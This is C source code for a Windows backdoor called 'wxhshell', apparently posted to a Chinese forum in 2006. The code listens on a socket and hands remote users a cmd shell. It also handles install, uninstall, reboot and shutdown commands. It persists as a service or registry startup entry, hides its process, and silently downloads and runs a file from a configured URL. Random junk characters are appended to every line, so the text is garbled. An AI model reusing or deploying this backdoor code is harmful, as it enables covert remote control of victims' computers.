  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u(Q(UuI  
  } 7VD7di=D  
  else { 60gn`s,,  
vTa23YDW  
    switch(cmd[0]) { 8IcQpn#  
  '<j p.sZQ  
  // 帮助 S`PSFetC  
  case '?': { E&=?\KM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y2~{qY  
    break; R3 =E?us!  
  } %bETr"Xom  
  // 安装    r3K:  
  case 'i': { x=<>%m5R  
    if(Install()) uy28=B E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x}24?mP  
    else ]nGA1S{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2]KPW*V  
    break; y(g Otg  
    } B_1u<00kg  
  // 卸载 MO+0]uh:  
  case 'r': { BNUf0;  
    if(Uninstall())  D -EM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %zVv3p:  
    else yL,B\YCf8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LxGh *7K-  
    break; MH(g<4>*  
    } rkXSy g b  
  // 显示 wxhshell 所在路径 :jCaDhK  
  case 'p': { U5s]dUs (  
    char svExeFile[MAX_PATH]; *38\&"s4_  
    strcpy(svExeFile,"\n\r"); 5Wjp_^!e  
      strcat(svExeFile,ExeFile); k!rz8S"  
        send(wsh,svExeFile,strlen(svExeFile),0); <\ c8q3N  
    break; Wx`IEPsVbk  
    } <T9m.:l  
  // 重启 @K> Pw arl  
  case 'b': { P_%l}%   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uQ)]g  
    if(Boot(REBOOT)) xrd ^vE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XAkl,Y  
    else { -I<`!kH*  
    closesocket(wsh); b&&'b )  
    ExitThread(0); )]Rr:i9n  
    } j(N9%/4u  
    break; oZw#Nd   
    } ~<-h# B  
  // 关机 Cl=ExpX/O  
  case 'd': { bBL"F!.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eZo%q,L  
    if(Boot(SHUTDOWN)) m\Nc}P_"p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p `Z7VG  
    else { h<q``hn>  
    closesocket(wsh); ~KvCb3~X  
    ExitThread(0); <taW6=;c  
    } >^}z  
    break; B(U`Zd  
    } 6=D;K.!  
  // 获取shell 3._fbAN%e  
  case 's': { 0SYkDI  
    CmdShell(wsh); chbs9y0  
    closesocket(wsh); X+ jSB,  
    ExitThread(0); Vy VC#AK,  
    break; /PlsF  
  } N\$6R-L  
  // 退出 nXjUTSGa)  
  case 'x': { `MS=/xE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HF:PF"|3  
    CloseIt(wsh); Qw+">  
    break; J.(_c ' r  
    } ,GlK_-6>  
  // 离开 Q2uE_w`B  
  case 'q': { V2X(f6v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bzS [X  
    closesocket(wsh); _BV:i:z  
    WSACleanup(); s.R(3}/  
    exit(1); dE~ns ,+  
    break; wH.'EC  
        } -0{WB(P  
  } ZVL0S{V-mh  
  } "-oC,;yq  
fy eS )  
  // 提示信息 ]Ea6Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |SmN.*&(9  
} # ,Y}  
  } r`@Dgo}  
IYFA>*Es  
  return; ub&1L_K  
} K.SHY!U}  
[%pZM.jFO  
// shell模块句柄 ObUQB+  
int CmdShell(SOCKET sock) ~cz t=  
{ DDEn63{  
STARTUPINFO si; [iD!!{6+  
ZeroMemory(&si,sizeof(si)); iGIaZ!j aW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {iRNnh   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "Q( 8FF  
PROCESS_INFORMATION ProcessInfo; m,b<b91  
char cmdline[]="cmd"; ~[{| s' )  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *SZ<ori  
  return 0; J.*=7zmw  
} w~`P\i@  
x0] *'^aA  
// 自身启动模式 7pNh|#Uv'  
int StartFromService(void) h7{W-AtM7_  
{ G[mYx[BTz  
typedef struct 6=FuH@Q&  
{ ,yoT3_%P  
  DWORD ExitStatus; h ? M0@Z  
  DWORD PebBaseAddress; B.o&%5dG  
  DWORD AffinityMask; a)e2WgVB/E  
  DWORD BasePriority; Z,z^[Jz  
  ULONG UniqueProcessId; ROS0Q9X  
  ULONG InheritedFromUniqueProcessId; TL5bX+  
}   PROCESS_BASIC_INFORMATION; #{(rOb6H)  
711 z-  
PROCNTQSIP NtQueryInformationProcess; Ni`qU(I'|  
1/ HofiIa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JQb]mU%?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; udB}`<Q  
8dv1#F|  
  HANDLE             hProcess; 1/ a,7Hl  
  PROCESS_BASIC_INFORMATION pbi; mEGMe@37  
.*Z]0~ &|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .IqS}Rh  
  if(NULL == hInst ) return 0; A 6d+RAx  
*\/UT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B?]^}r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `?)i/jko"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1DX=\BWp  
TS;MGi0`}  
  if (!NtQueryInformationProcess) return 0; y~\z_') <>  
B\6\QQ;rUo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hE;  
  if(!hProcess) return 0; pJmn;XbME  
\%)p7PNY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ojaZC,}  
B\Uj  
  CloseHandle(hProcess); gP} M\3-O  
,T]okN5uI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $I.'7 &h;  
if(hProcess==NULL) return 0; FY'f{gD^  
7}Gy%SJ`  
HMODULE hMod; |Qm 7x[i  
char procName[255]; YRK4l\_`  
unsigned long cbNeeded; =hA/;  
7"gy\_M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t((0]j^  
vm(% u!_P  
  CloseHandle(hProcess); Co'dZd(  
A9"ho}<  
if(strstr(procName,"services")) return 1; // 以服务启动 -kJ`gdS  
8?PNyO-Wt5  
  return 0; // 注册表启动 gw H6r3=y(  
} =0Nd\  
'b-}KDP  
// 主模块 X0m\   
int StartWxhshell(LPSTR lpCmdLine) EfOJ%Xr[,l  
{ 1&dWt_\  
  SOCKET wsl; m^wYRA.  
BOOL val=TRUE; qwN-VCj  
  int port=0; oOuWgr]0  
  struct sockaddr_in door; u~K4fP  
7&X^y+bMe6  
  if(wscfg.ws_autoins) Install(); 9N9;EY-U  
=KX:&GU  
port=atoi(lpCmdLine); NK#f Gz*,(  
k?_Miqr  
if(port<=0) port=wscfg.ws_port; hE>Mo$Q(  
|[*b[O 1W  
  WSADATA data; B$fL);l-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -G{}8GM  
HxkhlNB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FsD}N k=m~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P? >p+dM  
  door.sin_family = AF_INET; =ahD'*R^A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *b> ~L  
  door.sin_port = htons(port); X@ TQD  
)s!x)< d;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]]Wa.P~]O  
closesocket(wsl); =|H/[",gg  
return 1; $} ~:x_[  
} eOS#@6U=u  
N/Z<v* i"  
  if(listen(wsl,2) == INVALID_SOCKET) { z7NaW e  
closesocket(wsl); f7mI\$CN  
return 1; ^)X^Pcx  
} *C$ W^u5h  
  Wxhshell(wsl); 5)0R:  
  WSACleanup(); >I+O@  
ZMbv1*Vt  
return 0; 9=:!XkT.  
v-OaH81&R  
} `a] /e  
Zd042 %  
// 以NT服务方式启动 MwiT1sB~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #*5A]"k  
{ n:HF&j4C,  
DWORD   status = 0; gQ& FO~cr  
  DWORD   specificError = 0xfffffff; w!h!%r  
[$B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SFTThM]8M1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HuG|BjP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3rs=EMz:w  
  serviceStatus.dwWin32ExitCode     = 0; >*EcX3  
  serviceStatus.dwServiceSpecificExitCode = 0; - v`;^X  
  serviceStatus.dwCheckPoint       = 0; Bisht%]^  
  serviceStatus.dwWaitHint       = 0; k{uc%6s  
V0"UFy?i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JWC{"6  
  if (hServiceStatusHandle==0) return; !YCYmxw#  
L[D}pL=  
status = GetLastError(); !x[ +rf  
  if (status!=NO_ERROR) D/rKqPp|!  
{ {um~]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hmQD-E{Ab  
    serviceStatus.dwCheckPoint       = 0; _ u/N#*D  
    serviceStatus.dwWaitHint       = 0; *Z Aue.  
    serviceStatus.dwWin32ExitCode     = status; #VtlXr>G  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?NJ\l5'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &vo]l~.  
    return; ;4%^4<+3  
  } Sa6}xe."M,  
jrG@ +" }  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IX$ $pdQ  
  serviceStatus.dwCheckPoint       = 0; 't2"CPZ  
  serviceStatus.dwWaitHint       = 0; klv ]+F&[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !'MZeiLP  
} /=i^Bgh4  
>$k_tC'"  
// 处理NT服务事件,比如:启动、停止 X]M)T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .pK_j~}P  
{ xrp%b1Sy  
switch(fdwControl) Vf,t=$.[Q  
{ ~#N^@a  
case SERVICE_CONTROL_STOP: MYDAS-  
  serviceStatus.dwWin32ExitCode = 0; M{1't  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]=7}Y%6  
  serviceStatus.dwCheckPoint   = 0; l\JoWL  
  serviceStatus.dwWaitHint     = 0; )FYz*:f>&  
  { NbSkauF~b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X^7bOFWE  
  } zq8LQ4@ay  
  return; [*Wq6n  
case SERVICE_CONTROL_PAUSE: Jr|"`f%V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vQ$FMKz7  
  break; ,a_\o&V  
case SERVICE_CONTROL_CONTINUE: z1*8 5?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *q\Ve)E}  
  break; FlttqQQdf  
case SERVICE_CONTROL_INTERROGATE: /V^Gn;  
  break; >XM-xK-=  
}; }PUQvIGZZ&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m6bAvy]3<t  
} =;4cDmZh  
\IQf|  
// 标准应用程序主函数 %[l5){:05  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b[%sKl  
{ =LC:1zn4  
q",n:=PL  
// 获取操作系统版本 lo5,E(7~h  
OsIsNt=GetOsVer(); ?Bno?\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C5c@@ch :  
X3 P~z8_  
  // 从命令行安装 1.6yi];6  
  if(strpbrk(lpCmdLine,"iI")) Install(); WnyEdYA  
[2"a~o\  
  // 下载执行文件 7o-umZ}8  
if(wscfg.ws_downexe) { pHXslmrD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BRLrD/8Le  
  WinExec(wscfg.ws_filenam,SW_HIDE); gG!L#J?  
} c_"]AhV~Mg  
9LI #&\lba  
if(!OsIsNt) { |7LhE+E  
// 如果时win9x,隐藏进程并且设置为注册表启动 . K s%ar  
HideProc(); L'iENZ I$  
StartWxhshell(lpCmdLine); tURjIt,I  
} j'R{llZW  
else kI<;rP1S|  
  if(StartFromService()) n6Je5fE  
  // 以服务方式启动 i 3?=up!  
  StartServiceCtrlDispatcher(DispatchTable); N =FX3Z  
else <b.?G  
  // 普通方式启动 JK) )Cuh  
  StartWxhshell(lpCmdLine); ;'~U5Po8  
>4b:`L  
return 0; 1qp<Fz[  
}
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只看该作者 1 发表于: 2006-10-10
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